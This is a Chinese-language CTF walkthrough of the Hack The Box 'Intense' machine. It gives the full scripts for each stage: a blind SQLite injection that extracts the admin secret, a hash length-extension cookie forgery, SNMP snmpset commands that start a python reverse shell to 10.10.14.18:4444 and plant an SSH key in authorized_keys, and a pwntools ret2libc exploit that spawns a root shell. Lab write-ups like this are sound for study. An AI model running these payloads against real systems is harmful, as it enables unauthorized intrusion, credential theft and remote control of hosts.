基本信息

端口扫描

常规22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nmap -sC -sV 10.10.10.195

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 13:01 CST
Nmap scan report for 10.10.10.195
Host is up (0.072s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
161/tcp closed snmp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.48 seconds

80

是一个开源系统,提供了guest账号密码:

guest登录后可以提交feedback:

代码分析

提供了源码:

下载下来分析,很明显是Flask:

admin.py

判断权限,然后log view和list功能:

app.py

主要就是登录登出以及submit功能,submit会判断长度以及过滤一些字符,然后insert,这里可以注入,需要bypass过滤,sqlite3数据库:

lwt.py

主要是session,签名,验证之类的:

utils.py

登录处理,权限判断,以及log之类的一些:

根据代码可以知道cookie是session加sig,解析后是这样:

SQL注入

sqlite3注入,参考资料:

Boolean Extract Info

1
"'AND (SELECT CASE WHEN ((SELECT substr(secret,"+str(i+1)+",1) FROM users WHERE role=1) = '"+c+"') THEN 1 ELSE MATCH(1,1) END))--"

1
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec

提示不能使用MATCH,这意思是无法match Admin用户secret的确切长度,我们需要一个循环脚本,guest的secret长度是64,我们需要循环直到64,尚未match完成就会得到这个响应,通过sql注入获取admin的secret:

1
[+] Admin Secret: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105

现在我们有admin的secret,但还需要解决sign问题

admin-secret-sqli.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#  query_db("insert into messages values ('%s')" % message)  -> get secret of admin
# admin role = 1

import requests
import time
from datetime import datetime

target = "http://10.10.10.195"

#phase one, getting connection and login
def get_cooks():
sesh = requests.Session()
res = sesh.post(target + "/postlogin", data = {"username": "guest", "password": "guest"})
return sesh.cookies["auth"]

cookie = get_cooks()

#phase two, submit a message
def submit(load):

f = requests.post(target + "/submitmessage", data = { "message" : load }, cookies = { "auth" : cookie })
return f.text
# reference: https://www.sqlitetutorial.net/sqlite-case/ & https://www.sqlite.org/lang_expr.html

def check():
print("[+] Checking admin Secret")
time.sleep(5)
for x in range (0,256):
load = "' AND (select CASE WHEN ( (select length(secret) from users where role=1) = {} ) then match(1,1) END ))--".format(str(x))
c = "[+] Response: {}".format(submit(load))
if 'unable' in c:
print("[+] Attempted number: {}".format(str(x)))
print("[+] Admin secret length: {}".format(str(x)))
break



# [+] Attempt number: 64
#[+] Response: unable to use function MATCH in the requested context
def get_database():
print("[+] Performing HEIST \n")
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("started at: {}".format(str(current_time)))
time.sleep(5)
secrets = ""
for lengths in range (0,67):
for chars in range(47, 122):
load = "' AND (select CASE WHEN ( (SELECT hex(substr(secret,{a},1)) FROM users WHERE role=1) = hex('{b}') ) then match(1,1) END ))--".format(a=str(lengths),b=str(chr(chars)))
c = "[+] Response: {}".format(submit(load))
if 'unable' in c:
print("[+] Attempt no: {}".format(str(lengths)))
secrets += str(chr(chars))
print(secrets + '\n')
if len(secrets) == 64:
print("[+] Attempt number: {}".format(str(lengths)))
print("[+] Admin Secret: {}".format(secrets))
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("end time: {}".format(str(endy)))
else:
pass
print('')


check()
get_database()

#"' and (SELECT hex(substr(tbl_name,{a},1)) FROM users WHERE role=1 and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')"

#"' AND (select CASE WHEN ( (SELECT hex(substr(secret,{a},1)) FROM users WHERE role=1) = hex('{b}')) ) then match(1,1) END ))--"

哈希长度扩展攻击

sign是直接这样的,可以使用哈希长度扩展攻击:

1
2
3
def sign(msg):
""" Sign message with secret key """
return sha256(SECRET + msg).digest()

参考资料:

Hashpump

1
pip2 install hashpumpy

可以直接使用Hashpump,因为从代码里知道sig用的secret是SECRET = os.urandom(randrange(8, 15)),这样的不定长度,我们需要循环判断, 最终得到admin cookie:

1
2
[+] FOUND
admin cookie: dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwA7dXNlcm5hbWU9YWRtaW47c2VjcmV0PWYxZmMxMjAxMGMwOTQwMTZkZWY3OTFlMTQzNWRkZmRjYWVjY2Y4MjUwZTM2NjMwYzBiYzkzMjg1YzI5NzExMDU7.0CuwS/U8jtfL33f1MvSD8u5PBphquWkc4xJZYnN6HiA=

替换cookie,现在我们是admin:

##Hashpump.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from base64 import b64decode, b64encode
import os
import hashpumpy
import binascii
import requests

#We know the guest data : (b'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;')
#We know the guest signature : (b'\xf2\x02\x86\xc9\xa5\xb3\x14\x1eO\x8cf4h(\xce\xd5|\xec2f\x04~\xf3W{\x0f\xef\xf5\rq\xfe%') and it's length 32.
#We can perform Hash extension attack.
#Replace the admin secret below
form_1 = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
#This part will be readable part in cookie, the rest is we have to find by using the length we found in Guest's cookie
target = "http://10.10.10.195"


def get_cookie():
session = requests.Session()
res = session.post(target + "/postlogin", data = {"username": "guest", "password": "guest"})
return session.cookies["auth"]

cookie = get_cookie()

(b64_data, b64_sig) = cookie.split('.')
data = b64decode(b64_data)
sig = b64decode(b64_sig)
print('################## The First part')
print('data = ' + str(data) + '\n')

print('################## The Second part')
print('sig = ' + str(sig) + '\n')

#Hashpumpy Module to perform Hash extension Attack.
for i in range(1, 50):
(sigma, datum) = hashpumpy.hashpump(sig.encode('hex'), data, form_1, i)
print ("Sigma= " + sigma)
print ("Datum= " + datum)
dat1 = b64encode(datum).decode('utf-8')
sig1 = b64encode(binascii.unhexlify(sigma)).decode('utf-8')
print ("Sig1= " + sig1)
print ("Dat1= " + dat1)
cookie = dat1 + "." + sig1
print("cookie: {}".format(i))
print(cookie + '\n')
req = requests.get(target + "/admin", cookies = { "auth" : cookie })
if "Forbidden" not in req.text:
print("[+] FOUND")
print("admin cookie: " + str(cookie))
break

admin

根据代码我们知道admin有log view和list功能,页面上没有入口,我们可以直接去访问接口,然后存在目录遍历以及任意文件读取(注意点:如果无法获得内容,加个headerContent-Type: application/x-www-form-urlencoded):

注意得到的用户,可以知道有snmp

user flag

直接利用任意文件读取即可得到user.txt:

SNMP

前面知道有snmp,那么就读取snmp配置文件,可以得到RWcommunity:

然后根据这篇文章,SNMP任意命令执行:

snmpset

如果运行出错的话,先运行这几条

1
2
3
sudo apt-get install snmp-mibs-downloader
sudo download-mibs
sudo echo "" > /etc/snmp/snmp.conf
1
2
3
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."evilcommand"' = createAndGo 'nsExtendCommand."evilcommand"' = /usr/bin/python3 'nsExtendArgs."evilcommand"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.18\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 1.3.6.1.4.1.8072.1.3.2

debian-snmp-shell.sh

可以脚本自动一套:

1
2
3
4
5
6
7
#!/bin/bash
random="gunroot"
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 \
"nsExtendStatus.\"${random}\"" = createAndGo \
"nsExtendCommand.\"${random}\"" = /usr/bin/python3 \
"nsExtendArgs.\"${random}\"" = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.18\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 1.3.6.1.4.1.8072.1.3.2

note_server

服务器5001端口以root权限跑着一个note_server,分析调试过程详细参考官方wp视频:

ret2libc

转发端口,ret2libc得到root shell

tunnel.sh

有防火墙,ssh连接后秒断,但可以ssh转发端口:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
key=$(cat key.pub)
shitvalue="lkabeahbf"
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 \
"nsExtendStatus.\"${shitvalue}\"" = createAndGo \
"nsExtendCommand.\"${shitvalue}\"" = /bin/bash \
"nsExtendArgs.\"${shitvalue}\"" = "-c \"echo ${key} >> ~/.ssh/authorized_keys\""
snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 1.3.6.1.4.1.8072.1.3.2
ssh -N -L 5001:127.0.0.1:5001 Debian-snmp@10.10.10.195 -i key

pwn_server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')

host = '127.0.0.1'
port = 5001
fd = 4

def write_note(io, note, length=None):
if length is None:
length = len(note)

io.send(p8(1))
io.send(p8(length))
io.send(note)

def copy_note(io, offset, copySize):
io.send(p8(2))
io.send(p16(offset))
io.send(p8(copySize))

def read_notes(io, size=None):
io.send(p8(3))
if size is None:
recv = io.recvall()
else:
recv = io.recv(size)
return recv

def write_to_end(io, written=0):
g = cyclic_gen()
while written < 1024:
chunk = min(255, 1024 - written)
write_note(io, g.get(chunk))
written += chunk

def do_rop(io, canary, rbp, rop):
buf = p64(0xDEAD)
buf += p64(canary)
buf += p64(rbp)
buf += rop.chain()

write_note(io, buf)
write_to_end(io, len(buf))
copy_note(io, 0, len(buf))
read_notes(io, 1024 + len(buf))

def stage1():
# stack canary + ebp
io = remote(host,port)
write_to_end(io)

read_size = 4*8
copy_note(io, 1024, read_size)
leak = read_notes(io, 1024+read_size)[1024:]
canary = u64(leak[8:16])
rbp = u64(leak[16:24])
rip = u64(leak[24:])

print("\nleaks:")
print("rbp = ", hex(rbp))
print("canary = ", hex(canary))
print("rip = ", hex(rip))
io.close()
return (rbp, canary, rip)

def stage2(rbp, canary, rip):
# leaking libc
base_address = rip - 0xf54 # https://www.youtube.com/watch?v=GTQxZlr5yvE&t=2h14m38s
elf = ELF("./note_server", checksec=False)
elf.address = base_address
rop = ROP(elf)
rop.write(fd, elf.got["write"])
io = remote(host, port)
do_rop(io, canary, rbp, rop)
leak = io.recv(8)
libc_write = u64(leak)
print("\nlibc leak: " + hex(libc_write))
io.close()
return libc_write

def stage3(canary, rbp, libc_write_leak):
# get the last 3 bytes and enter them on https://libc.blukat.me
# then download the libc and set the path here
elf_libc = ELF("./libc6_2.27-3ubuntu1_amd64.so", checksec=False)
elf_libc.address = libc_write_leak - elf_libc.symbols['write']
rop_libc = ROP(elf_libc)
rop_libc.dup2(fd, 0)
rop_libc.dup2(fd, 1)
rop_libc.execve(next(elf_libc.search(b"/bin/sh\x00")), 0, 0)

io = remote(host, port)
do_rop(io, canary, rbp, rop_libc)

io.interactive()

(rbp, canary, rip) = stage1()
libc_write_leak = stage2(rbp, canary, rip)
stage3(canary, rbp, libc_write_leak)

参考资料